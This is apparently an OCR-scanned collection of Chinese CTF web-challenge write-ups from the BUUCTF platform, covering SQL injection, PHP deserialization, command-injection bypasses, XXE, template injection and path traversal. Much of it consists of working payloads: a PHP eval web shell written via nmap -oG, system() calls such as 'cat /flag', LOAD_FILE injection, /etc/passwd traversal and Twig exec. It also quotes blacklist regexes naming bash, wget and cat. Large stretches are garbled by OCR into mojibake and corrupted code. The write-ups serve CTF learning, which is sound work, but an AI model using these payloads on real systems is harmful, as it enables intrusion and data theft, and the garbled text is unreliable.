$httpCode = curl getinfo($ch, CURLINFO HTTP CODE);
if($httpCode == 404) {

return 4e4;

url_close($ch);

return $output;

getBlogContents ()

return ->get( ->blog);

https://blog.csdn.ne

fRE2:
HEidload_file()sk H+IR 5 vE N B Bl flag.php

1 and(updatexml(1,concat(1, (select(LOAD_FILE('/var/www/html/flag.php')))),1))

1 and(updatexml(1,concat(1,right((select(LOAD_FILE('/var/www/html/flag.php'))),32)),1))




[GXYCTF2019]BabySQli
PEEH—T, RIIFELFHERR, Jbase327Ebase64f#igE

select * from user where username = '$name’

mysqIfE B B BRI S8 — B &R

1 row in set (0.80 sec)
mysql> select * from ctf where username='1l' union select ‘admin’, "123';

e S o <
| username | password |

1 row in set (0.80 sec) ittps:/blog.esdn.net/xiaclor

WEE R YL RATE W —MuserFadmin,pw 123K B I B AR T XA P
XEE—AYA, RSN EAZEMDSINZER, X. . » RIERZEERT

1'union select 1, 'admin', '202cb962ac59075b964b07152d234b70"#

123MD5 J5 #7202cb962ac59075b964b07152d234b70

[P 545 2020 F ¢ 41 ]AreUSerialz

I9F—%&, ARFAN, EELRREE
F A R B A

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file get contents($this->filename);

}

return $res;

Al UL H phpth it Bt flag.php

<?php
class FileHandler {

public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php’;
public $content;

b
$p=new FileHandler();

echo serialize($p);

?>




?str=0:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=fl

ag.php";s:7:"content";N;}

[MRCTF2020]4R 4% % [ 19

etk .htaccess XM, BEEARY, BENSIEE

BRI E—EE &, BRAENEphp, HAZFRMEKGE, FEEMRLE, EREAFRNLSER, BEZ.
1% B R BA M L Hwp

[MRCTF 202044 ik 102

[GYCTF2020]Blacklist
[BEPIAR 20191BE (FyE A Fh, 7 LA EIRid 38 T setpreparejalterrename|

1';show tables; R E|R & FlagHere
Fihandleri#t 17 &)

1';handler FlagHere open; handler FlagHere read first;

[MRCTF2020]Ez_bypass

Bt A tF i)

?id[ ]=1&gg[ ]=2

post
passwd=1234567a

[G2PAF 2019] = B I R &
TEMEFERBRER, I, HF


https://www.yuque.com/jxswcy/buuoj-wp/py2kav

WREEEREREER, EEAMNERSHENENE

I SRUVCAL. VCACpatternfi A SRILIGACAE L, ASHEFTAERR IR BLIG A . 300 5407 () e

(?:pattern) | , . e
e — MBS A SRR . Bl Industr(’? ylies)" i it~ Ltk industry|industries” i fi]
W& 1) 1k -
(ERVCAE, IEF 2 T, 7EAT VL pattern () 245 3 A b VO lC A 8 24 e IZDLICAS T
o FARILIELLT A . it “Windows(?=95|98|NT[2000)’fi L f2“Windows2000” 1 ¢
' “Windows”. {HAHEVLIEL“Windows3. 171 “Windows”™.  Fil A~ FE 7 FF, gt vt, 75—
=pattern)

VCAC e da . fEila —RILPAC. 2 Ja e BRI aG B — R VEAC 4 &2, A2 M-S e =55 2 Ja
;|",»'-T|:

(EARHLVCHC. IEm) &2 Fids. EAT M ANVLAC pattern i) 7= 7 5 JF Ui AL VEHE A #8777 Ht . iZDLHCAS
(?'pattern) W ELAEHUAE LU A H] . 49 ' Wlndows('?f95|98|NT|2OOO)"|J:f-';|"1'_‘"W|nd0ws3.1"'1-‘|I~J
“Windows”. {HAHEVC L “Windows20007 1 1“Windows”.

FHRIVEAC, S5 e Bt SRR E Al RS rmmiiz. flin. “(?

5
(._1. tt <:g5|98|NT|2000)wmd0W5IJIE|L b“2000Windows™ i i “Windows”,  {H ASGECE

=pattern

g ) “3.1Windows" 1 (]“Windows".

(? EFRIVCAC, S5 5E B, 5 IEF A5E ATl R Az, e
<Il attern) <195|98|NT|2000)Windows"fiE VL HC“3.1Windows™ | 1] “Windows”. {HAfiElCAL“2000Windows”

. Hr“Windows” . X ANHLJTAS A, A7 ] 14 CSDI |

SUMN @xiaolongZ2Z235%

requests

time

re.compile(r' (?<=GET\[\"').*(?=\"\])")
"C:\\Users\\xxx\Desktop\\src\\"

files = os.listdir(path)
for file in files:
print(file)
f = open(path + file)
data = f.read()

f.close()
results = req.findall(data)
for result in results:
url = "http://72dd3385-3d75-4e31-889c-859870157aec.node4.buuoj.cn:81/"'+ file + '?' + result + '=echo "xi
aolong"'’
# print(url)
res = requests.get(url)

print(res.url)

time.sleep(0.3)

if 'xiaolong' in res.text:
print("find:" + res.url)
exit(1)




http://72dd3385-3d75-4e3f-889c-85987@157aec..noded . buuoj .
http://72dd3385-3d75-4e3f-889 57aec.noded.buuoj.
http://72dd3385-3d75-4e3f-889 - buuoj.
http://72dd3385-3d75-4e3f-889 . buuoj .

http://72dd3385-3d75-4e31-889 aec.noded.buuoj.

http://72dd3385-3d75-4e3f-8 5 . buuoj.c
http://72dd3385-3d75-4e3f-88 9 3 .noded.buuoj.c
http://72dd3385-3d75-4e3f-889c-85987@157aec..noded . buuoj . c
find:http://72dd3385-3d75-4e3f-889c-859870157 .node4 . buu

< G ® A &=L | 72dd3385-3d75-4e3f-889c-859870157aec.noded. buuoj.cn:81/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag 6 € los) e T 3 o= 2

(9 meEEaE (- ). EET, FEE () BugkuCTF-#3IFE K ctishow AcFUnGHEERLAR .. [ xiaolong'sblog W@ ETE -BugkuC.. (@ CTFEZTA-CTFL.. M BUUCTF FE2TH | READFL... > | B Efias

array(1) { [0]=> string(8) "wiMI9I7q" } array(1) { [0]=> string(3) "NPK" }

Warning: assert(): assert($_GET['xd0OUXc39w'] 22 ' '): " " failed in /var/www/html/xk0SzyKwfzw.php on line 20

Array () string(5) "vCvMI" PSlarray(1) { [0]=> string(8) "Ph7u_Cwv" } array(1) { [0]=> string(10) "idch8Z7Sn6" } array(1) { [0]=> string(9) "djD1Ytoul" } array(1) { [0]=> string(11) "Egx6a0p6kUP" }
string(9) "j¥mlyYvLz" VSYcTArray () string(8) "hiSLWnZd" array(1) { [0]=> string(9) "dJREKNffr" } Array () KuuSMt1string(8) "jyUmrOW_" array(1) { [0]=> string(4) "XQhY" } 68ccPSKGXOAPTUGDAArray

() Array () MR8s3nFnarray(1) { [0]=> string(10) "FWefOFK4g7" } array(1) { [0]=> string(9) "iZFnwUgPf" } Array () THRQINrpUJvf641{flag{72ba2dc2-eddc-411e-aad1-f3575e94ed8c} array(1) { [0]=>
string(6) "KLRXmV" } array(1) { [0]=> string(2) "Tw" } Array () array(1) { [0]=> string(8) "oCoznfQZ" } gi9Array () czuhsLFVngtring(L SKR566™ End of File

AL REANAEELAKRT, EARE, TWHET —2BMWIT T, "WEEbuul R E

[BUUCTF 2018]Online Tool
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER[ 'REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];

if(!isset($ GET['host'])) {
highlight file(_ FILE );
} else {
$host = $ GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $ SERVER['REMOTE_ADDR']);

echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);

chdir($sandbox) ;
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);




PHP escapeshellarg()+escapeshellcmd() 2 %%

RPN = 172.17.0.2" v -d a=1

PREZINI o5 capeshellarg MNEI=R Wl " 172.17.0.2°\""
SR AmE o TEEERMMmEEERFUER,

EREZIN) oscapeshel lomd MBES=RERY *172.17.0.2°\\"" -v_-d a=1\" JEBSEIEIPS escapeshellcmd b8 \ B
KGR AESXT) LAY [ ST TN
http://php.net/manual/zh/function.escapeshellcmd.php

i =GR curl (172.17.0.2°\\" " -v -d a-1\" JEESmEERIEIEN \ \ B RS | [IENCEEE Ve
F5, FrLUEER@REEREN, SHERENREX) L r— 1 =0iEET. FrAALIEs
curl 172.17.6.2\ -v -d a=1'JEEIEI172.17.0.2\ poi iR O =y  a=1 "

. BRI SN, BRES|

EIEY nai 1 SEMES A (W[ES N EWIloEle B2 im st Faui N ' 2" \\ " ' \( -OQueueDirectory=/tmp -
/var /wiw/html/test.php \)@a.com\' MPSEIETIPs fa\ (Ml -0QueueDirectory=/tmp Ml -
/var/www/html/test.phpR , NS EXEFREAL.

escapeshellarg : KSHH I FRFRPMINL ", SRR A BEATH X RBEMMINE X2 HH2H0 B 5
escapeshellcmd : ¥ 1 7 4F 8 HR IR AR BR 75 55 3, FF ELRS VR 10 " AT 3 X

nmap#r & H H—ANSH- oG] AT IR iy & F1 45 3 5 2 304

AT ERER RN

<?php @eval($ _POST["cmd"]);?> -0G shell.php

{H% iFescapeshellarg/5 22 5. T

'<?php @eval($ POST["cmd"]);?> -oG shell.php'

REEMBR T FRE, TERTHLT
T A SR BRAT TR B R XA K R

'<?php @eval($ POST["cmd"]);?> -oG shell.php'

#itescapeshellarg j& 2% ik

""\''<?php @eval($ _POST["cmd"]);?> -0G shell.php'\'""'

SR 5 B4 idescapeshellcmd /g

""\\''<?php @eval($_POST["cmd"]);?> -0G shell.php'\\'"'

prEEEEHEAT

nmap -T5 -sT -Pn --host-timeout 2 -F \<?php @eval($_POST["cmd"]);?> -0G shell.php\\

{EIXBESCE R &35 R shell.php\\ , H BTG S48 X
TR E A, &
payload

?host=" <?php @eval($_POST["cmd"]);?> -0G shell.php '


https://paper.seebug.org/164/

you are in sandbox|b9c330d95c5e2ca383bad72550369dd3ftarting Nmap 7.70 ( https://nmap.org ) at 2021-04-0F
done: 0 IP addresses (0 hosts up) scanned in 0.08 seconds

Bl T R4 T, AR B SO 4 B S R A]

[RoarCTF 2019]Easy Java(£f~ <)

HMIRERX, BARRIERSR, EHEE2AHE, EfEFjava, F%F 7 BN EHERESE
ST B K FEIwp
RoarCTF2019webj#i-easy_java writeup

[GXYCTF2019]BabyUpload

1& .hatccess XHMEHF L, FIMRCTFIRE —4E

[GXYCTF2019)2t i &4

.git tFE, HEGitHackiEJREIG

"flag.php";
echo "flagf?EMREME? <br>";
if(isset($ GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $ GET['exp'])) {
if(';"' === preg _replace('/[a-z, J+\((?R)?\)/', NULL, $ GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $ GET['exp'])) {
// echo $ GET['exp'];
@eval($ GET['exp']);

}

else{
die("BE—RH! ");

}
}

else{
die("HIFFEME! ");
¥
¥

else{
die("idA8iLflag, RBH!I");
b

)
// highlight file(_ FILE_);
?>

FEEANLS RN @S, LTSHOHFER

?exp=print_r(scandir(current(localeconv())));


https://blog.csdn.net/silencediors/article/details/102579567
https://www.cnblogs.com/NPFS/p/13778333.html

flagfERERNE?
Array ( [0] => index.php [1] => flag.php [2] => .git [3] => .. [4] => .)

SRJG array_reverse WHHH, next()RREHEIT T —MERITEREL

?exp=print_r(next(array_reverse(scandir(current(localeconv())))));

flagrElpEENE?
flag.php

B Htflag.php

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

[GWCTF 201913k 5F — AN #48 B

robots.txt? A phpinfo.php, i 45 ¥ F
dirsearchgéia Hiphpadmin(EAAH K. . . REZ)

ViR R A N 4.8.1, BRERIUELAERXHEETRA, HKikpayload

/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../etc/passwd

CT fR25 28 mysql:3306
HigE [ sQL G W& = st & s &S RE | b BB | = FHE | (& 51 | & &

rootx:0:0:root:/root:/bin/bash daemon:c1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:xx:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin |p:x:7:7:Ip:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nol
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting Syst
(admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:;/usr/sbin/nologin _apt:x:100:65534:/nonexistent:/usr/sbin/nologin

1]

/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../flag

[BJDCTF2020]The mystery of ip

Z54 hint.php % Do you know why i know your ip? FIfEH, 5EMRZ X-Forwarded-For 7 & /&
00 JE TR R AR AR AR N

X-Forwarded-For: {{system('cat /flag')}}

[BJDCTF2020]Mark loves cat



FEMR . git VRASIMER, ZEHGitHack, 4R T TERARHE, ELUAMET, BwpRKRMRXAM, ERELESE THB
flag.phpAlindex.php, emmm,— & Zbuuffi44 .

foreach($_GET as $x => $y){

$$x = $3y;

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);

}

if(lisset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
¥

if($_POST['flag'] === 'flag' || $_GET['flag'] ===
exit($is);

echo "the flag is: ".$flag;

B ijipayload

getftZ yds=flag;

B

getfsZ is=flag&flag=flag
FUiE—F, ZidHE—Mforeach/

foreach($_GET as $x => $y){
$$x = $3y;

BT $yds=$flag, WEH MBS FEEag), Hitl syds , HELR $flag

FE oM, BRALTIX Moreach B T $1s=$flag , REH N =/ foreach, AR T $flag=$flag, LA EHE =AM
H $is, IR $flag
XPE R AR A B Blpost, UARE KIwpH Rget+post, HHLE, RELERBAMEA, AT —M2/IHRELT, KMEBET.

[BJDCTF2020]ZJCTF, A it fm;

BBz —##, dataB ABinputB A, Pyt scs:

?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php




$ GET['id'];
$ SESSION['id'] = $id;

function complex($re, $str) {

return preg _replace(
/(' . $re . ')/ei',
'strtolower("\\1")"',
$str

)5

foreach($ _GET as $re => $str) {

echo complex($re, $str). "\n";

function getFlag(){
@eval($_GET['cmd']);
b

preg_replace/ef A ] ABAT RIS, HBMERINIBEANNLZ: SHELAENEFRER, SEENELRKF/RE.
R AR L, wpi L, payloadif

TN 7T preg_replace 5L HAT

wp

payload:

/next.php?\S*=${getFlag()}&cmd=system('cat /flag'); #\S FEphpEMXRERFREILEFEEZFZH, *FELIRILE

pS: & IR HIphp Bk Tpreg_replace Hi/e =0

[Z#)# 2019]easy web


https://xz.aliyun.com/t/2557
https://blog.csdn.net/qq_43622442/article/details/106018883?utm_medium=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromMachineLearnPai2~default-4.control&dist_request_id=&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromMachineLearnPai2~default-4.control

urliISHIEEE Bbase6d, ZHAEME, REMBE T —MRIUKMTT, B—EFEKBANMEEX Fbase64 BF TR, A
BARLUAT RER Rbasebd, HRMTENMEEEAMT . BT wpHBEXtmikRbase6d, HBAMBEMBEHERT . FrLkit
RS R PAE, ZRLK! 1!

FRAS R IBAFAE, ZRLK! !

FRAS R BAFAE, ZRLK! 1!

EEREH, ZidFikbase64)5160tH%FFFH, 85]555.ong, M#effag.phpBEE, KidRE 163 Fbase64In® H ik

175Kh%, {RBEFDIRT?

xixi~ no flag

ERALT, BPeRKindexphp, T LAbase64fif 5 f5 L B IRIG



<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $ GET['cmd'];
if (lisset($ GET['img']) || !isset($ GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=");
hex2bin(base64 decode(base64 decode($ GET['img'])));

preg_replace("/["a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">"';
die("xixi~ no flag");
} else {
$txt = baseb4_encode(file get contents($file));
echo "</img>";
echo "<br>";
b
echo $cmd;
echo "<br>";
if (preg_match("/1ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|e
cho[sh\" [\"[\™ |5 [, I\ IN2 NN INNAN IR NS [\ [ \xAS [\{[\FINCIN) N&IANATI@INTINNSINCINTHLTFINCIN) |- [<[>71", $emd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b"'])) {
echo “$cmd”;
} else {
echo ("md5 is funny ~");

background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;

MD55EKRILLEL, RMDS—HEHIRAT

2=M%COh%FF%OE%E3%5C%20%95r%DAw%7Br%15%87%D30%A7%B2%1B%DCV%B71%3D%COX%3E%7B%95%18%AF%BF %A27%00%A8%28K%F 3n %8 EKU%B3
Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%COh%F F%QE%E 3%5C%20%95r%DAw%7Br%15%87%D30%A7%B2%1B%DCV%B71%3D%COX%3E
%57B%95%18%AF%BF%A2%02%A8%28K%F 3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%F E%A2

cmdA \ &t

cmd=ca\t /flag

[ 545 2020 2k # 4 ] phpweb




IR E R B T Haiwe, MeEEE

POST /indexphp HTTR/ 1.1

Host: 20791865-3d19-4aab-ad12-777f3bci c215.node3 buuoj.cn

Uzer-Agent: Mozilla/5.0 (Windows MNT 10.0; Winbd; x64; n:87.0) Gecko/20100101 Firefox/87.0
Accept: text/htrml, application/xhtrl+xml. application/«ml;q=0.9.image/webp.*/*:q=0.8
Accept-Language: zh-Chlzh;q=08zh-TW:q=07.zh-HkK:q=05.en-U%q=03.en;q=0.2
Content-Type: application/x-www-farm-urlencoded

Content-Length: 29

Origin: http://20791865-3d19-4aab-ad12-777f3bci c215.node3 . buuaj.cn

Connection: close

Referer: http://20791865-3d19-4aab-ad 12-777f3bci c215.node3 buuoj.cn/index. php
Upgrade-Insecure-Requests:

func=datef&p="-rn-d+h%3Ai%345+a

RIFHNZSE, NiZRZEAT call_user_func , MEEAE—TIRELG

func=file_get contents&p=index.php

<?php
$disable fun = array("exec","shell exec","system","passthru","proc_open","show source","phpinfo","popen","dl

","eval","proc_terminate","touch","escapeshellcmd", "escapeshellarg","assert","substr_replace","call user_func_an

ray","call user_func","array_filter", "array_walk", "array_map","registregister_shutdown_ function","register_ti

ck_function","filter_var", "filter_var_array", "uasort", "uksort", "array reduce","array walk", "array walk recu
rsive","
function gettime($func, $p) {

$result = call user func($func, $p);

pcntl _exec","fopen","fwrite","file put contents");

$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
¥
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function _ destruct() {
if ($this->func = "") {
echo gettime($this->func, $this->p);

$func = $ REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");




] LUR R BIAL AT d5 %

func=unserialize&p=0:4:"Test":2:{s:1:"p";s:4:"1ls /";s:4:"func";s:6:"system";}

JERE A lag>t, I — TflagrE

func=unserialize&p=0:4:"Test":2:{s:1:"p";s:17:"find / -name fla*";s:4:"func";s:6:"system";}

POST findexphp HTTP/1.1

Host: 20791865-3d19-4aab6-ad12-777f3bc/ 2 15.node3 buuoj.cn

Uszer-Agent: hMozilla/5.0 (Windows NT 10.0; Winsd: x64; rv.87.0) Gecko/20100101
Firefox/87.0

Accept:
text/html.application/htrml+xml.application/xml;q=0.9image/webp*/*q=08
Accept-Language: zh-C,zhig=0.8zh-TW.q=07.zh-HK:q=0.5,en-Usq=03.en;,q=0.2
Content-Type: application/x-www-form-urlencoded

Content-Length: 91

Origin: http://20791865-3d19-4aak-ad12-777f3bci c215. node3. buugj.cn
Connection: close

Referer: http://20791865-3d19-4aa6-ad12-777f3bcr 215 node3 buuej.cn/index php
Upgrade-lnsecure-Requests: |

func=unserialize&p=C0d:"Test": 2:{s::"p" < 17:"find / -name
fla®";s:d: " func® s 6:" systern™;]

'y
-

Jsvs/devices/platform/serial8250/tty/tty514/flags
Jevs/devices/platform/serial8250/tty/tty55/flags
Jevs/devices/platform,/serial8250/tty/ttyS22/flags
Jevs/devices/platform/serial8250/tty/tty512/flags
Jevs/devices/platform/serial8250/tty/tty530/flags
Jsvs/devices/platform/serial8250/tty/tty53/flags
Joys/devices/platform/serial8250/tty/tty520/flags
Jevs/devices/platform,/serial8250/tty/ttyS10/flags
Jevs/devices/platform/serial8250/tty/tty529/flags
Jevs/devices/platform/serial8250/tty/tty51/flags
Jsvs/devices/platform/serial8250/tty/tty519/flags
Jys/devices/platform/serial8250/tty/tty5 27 /flags
Jsvs/devices/platform/serial8250/tty/tty5 17 fflags
Jevs/devices/platform/serial8250/tty/tty58/flags
Jevs/devices/platform/serial8250/tty/tty525/flags
Jsvs/devices/virtual/net/lo/flags
Jevs/devices/virtual/net/eth2/flags

T eth0/flags
Jtrnp/flagoefiudra3

Jusr/indude/linux/flat h</p>

<form id=form| name=form| action="inde« php" method=post>
<input type=hidden id=func name=func value='date'»
<input type=hidden id=p name=p value="Y-m-d his a'>
</body>
</htrl =

ﬁ%%’y(’ ﬁﬁﬁi’ ﬁﬂag

func=unserialize&p=0:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

[De1CTF 2019]SSRF Me(~£)

pythonffiflask, FEAE, ~&

[NCTF2019]Fake XML cookbook

B 8] #. I xxe
IE, BnshEpseik

<?xml version="1.0" encoding="utf-8"?>
<IDOCTYPE creds [

<!ENTITY goodies SYSTEM “"file:///../../../../flag"> 1>
<user><username>&goodies;</username><password>123456</password></user>




I

T R [ rren | e

POST /dologin.php HTTP/11

Host: 67 2dfbbd-70e2-4951-9365-a6d63b2d0680.node3 buugj.cn

User-Agent: Mozilla/5.0 (Windows MNT 10.0; Wined; x64; r:87.0) Gecko /20100101
Firefox/87.0

Accept: application/=ml, text/xml, */* g=0.01

Accept-Language: zh-CN,zh;q=08zh-TW;q=07.zh-HK;q=05.en-US;q=03.en;g=0.2
Content-Type: application/xrml;charset=utf-8

X-Requested-'With: XMLHttpRequest

Content-Length: 187

Origin: http://67 2dfbbd-70e2-4951-9365-a6d63b2d0680.node3 buuoj.cn
Connection: close

Referer: http://67 2dfblbd-70e2-4951-9365-a6d53k2d 0680.noded.buunj.cn/

<7l version="1.0" encoding="utf-8"?>

<IDOCTYPE creds [

<IEMTITY goodies SYSTEN “file///. /.00 flag”= 1=

<user= <username> &goodies < /usernames < password » 123456« /password > < /user

2|

[ASIS 2019]Unicorn shop

unicodefmid % 4

HTTP/1.1 200 OK

Server openresty

Date: Sat, 10 Apr 2021 15:02:43 GMT
Content-Type: text/htrl; charset=utf-8
Connection: close

Vary: Accept-Encoding

X-Powered-By: PHP/7.4.0RC6
Content-Length: 85

<result> <code>0</code> <rnsg>flag{5d2b3 a68-0f cb-443f-8461- 191367 ccS5fc
3]
</msg> < /result>

F45 L EeRRIlag, ERBRMA—NTFR, A KT 1337 unicode ER/FHAT, Huin e (8 100000)

Khr B ICHIT, AL, JRthERET LA

[BJDCTF2020]Cookie is so stable

WINT7, RILEE AN49, BiZRETwighERENJiNaliER7777777), BREEINE, KIluserfEcookiekt, RIEIRR, HEAN

R Ncookiekt
TR HEIX 5 L & Kpayload £ flag

{{_self.env.registerUndefinedFilterCallback("exec")}}{{ self.env.getFilter("cat /flag")}}

SET /flag.php HTTP/1.1

dost: 9d9eefbO-dIf8-499-ab01-03dddedd8023.node3 buuoj.cn

Jser-Agent: Mozilla/5.0 (Windows NT 10.0; Winsd; x64; rv.87.0) Gecko,/20100101
sirefox/87.0

Sccept: text/htrnl. application/<htrml+xml, application/xml;g=0.9.image/webp*/* q=08
Sccept-Language: zh-Ch.zh;q=0.8zh-TW;q=07.zh-HK;q=05.en-US;q=0.3,en;q=0.2
Zonnection: close

Zookie: PHPSESSID=432809kf7 27 9b5 8fbf Tflhcdbal8e536f;
aser={{_self.env.registerUndefinedFilterCallback({"ecec"))){{_self env.getFilter("cat
flag")])

Jpgrade-Insecure-Fequests: |

e

"1,

< fdive
</nav= «<div cass="container panel1"=
<div class="row">
<div dass="col-md-4">
<fdive
<div dass="col-md-4">
<div class="jumbotron pan"> «div dass="forrn-group
log">
<label> <h2:=Hello
flag{ad28acfd-e038-423f-bbf5-b0leaed835bd] < /h2 > < /label»
</dive <div class="row pt-3">
<div class="col-md-12">
<a href="logout.php" > <button type="submit"
form="form1" name="Logout" value="logout" class="btn btn-default float-right”
»Logout«/button= </ax>
</dive
< fdive

</div>
< fdive
¢ class="col-md-4">

</body>
< /htrnl=

L



https://zhuanlan.zhihu.com/p/28823933

[CISCN 2019 #73%]Love Math

<?php
error_reporting(9);
/ /T RARIR B, AEERR S E M FEflag
if(lisset($ GET['c'])){
show_source(_ FILE );
}else{
//BF c=20-1
$content = $ GET['c'];
if (strlen($content) >= 80) {
die("AKTA=E");
by
$blacklist = [" ', "\t', '\r', ‘\n',"\"'', """, "' \[', '\1'];
foreach ($blacklist as $blackitem) {
if (preg_match('/"' . $blackitem . '/m', $content)) {
die("EAEMATTREERZR");

)

/ /% REEEEHhttp: //www.w3school . com.cn/php/php_ref_math.asp

$whitelist = ['abs', 'acos', ‘'acosh', 'asin', ‘'asinh', 'atan2', ‘'atan', 'atanh', 'base_convert', 'bindec’,
ceil', 'cos', ‘'cosh', ‘'decbin', ‘'dechex', ‘'decoct', ‘'deg2rad', 'exp', ‘'expml', ‘floor', ‘'fmod', 'getrandmax’,

"hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'logle', 'loglp', 'log', 'max', 'min', 'mt_g
etrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'sn
and', 'tan', 'tanh'];

preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[@] as $func) {

if (!in_array($func, $whitelist)) {

die("ENEMATAHERAERL");

}
/1R A S

eval('echo '.$content."';");

BRATBERN LR

1B e 55 H 44 O PR )
1 F php H =7 4 8 _E 3 5 AT B 2 4F B BT iR

c=$ GET[a]($_GET[b])&a=system&b=cat /flag

B ER AR Mk iis_GET, T2 A 21X L iR 41
base_convert HE#|#

dechex 103 #1%% 1653 #i

hex2bin 163§l %% £ /F &5

HEABE B hex2bin ¥, FEMWIE

base_convert(37907361743,10,36)=>hex2bin //3E101t|#137907361743% A361ti, ElAhex2bin

dechex (1598506324 )=>"5f474554"
hex2bin("5f474554")=> GET

BliX 4 —H%ET _GET

base convert(37907361743,10,36) (dechex(1598506324))




Rk XHREE DAL RZERURGRK, FNHAME]D

c=$pi=base convert(37907361743,10,36) (dechex(1598506324));$$pi{pi}($$pi{abs})

NS EHEAERET $_ GET{pi}($_GET{abs})
B %payload:

c=$pi=base_convert(37907361743,10,36) (dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system@abs=cat /flag

yulTi{E A wp

[BSidesCF 2020]Had a bad day

R php P SO, KRB #phpJa AT LLRT)

?category=php://filter/read=convert.base64-encode/resource=index

$ GET[ 'category'];

if(isset($file)){
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
¥
else{
echo "Sorry, we currently only support woofers and meowers.";

R REZH P Awoofers, meowers, indexih®] LS
XEEANMIRA, phpfbt@ﬁlﬁTﬁléi“E§tUﬁly L convert.base64-encode/index/resource
Fir CART PLIX

?category=php://filter/read=convert.base64-encode/index/resource=flag

B LA LA

?category=php://filter/read=convert.base64-encode/index/resource=index/../flag

[SUCTF 2019]Pythonginx


https://blog.csdn.net/miuzzx/article/details/104817391

@app.route('/getUrl', methods=["'GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "+ your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "+ your problem? 222 " + host
newhost = []
for h in host.split('."'):
newhost.append(h.encode('idna").decode( 'utf-8"))
parts[1] = '.'.join(newhost)
#EH url FRERK
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:

return "+ your problem? 333"

AHAERNARBE, RAERHEAENIAEEZsuctf.cc, RFEAIT encode('idna').decode('utf-8") B TF suctf.cc

KEERTEA



from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
except:

pass

def getUrl(url):
url=url
host=parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts=list(urlsplit(url))
host=parts[1]
if host == 'suctf.cc':
return False
newhost=[ ]
for h in host.split('."):
newhost.append(h.encode('idna').decode('utf-8"))
parts[1]="'.".join(newhost)
finalUrl=urlunsplit(parts).split(' "')[0]
host=parse.urlparse(finalUrl).hostname
if host == ‘suctf.cc':
return True
else:
return False

if _ _name_ =='__main__':

get_unicode()

str: C unicode: \u2102
str: € unicode: \uz2i12d
str: Cunicode: \u2léd
str: cunicode: \u217d
str: ©unicode: \u24bs
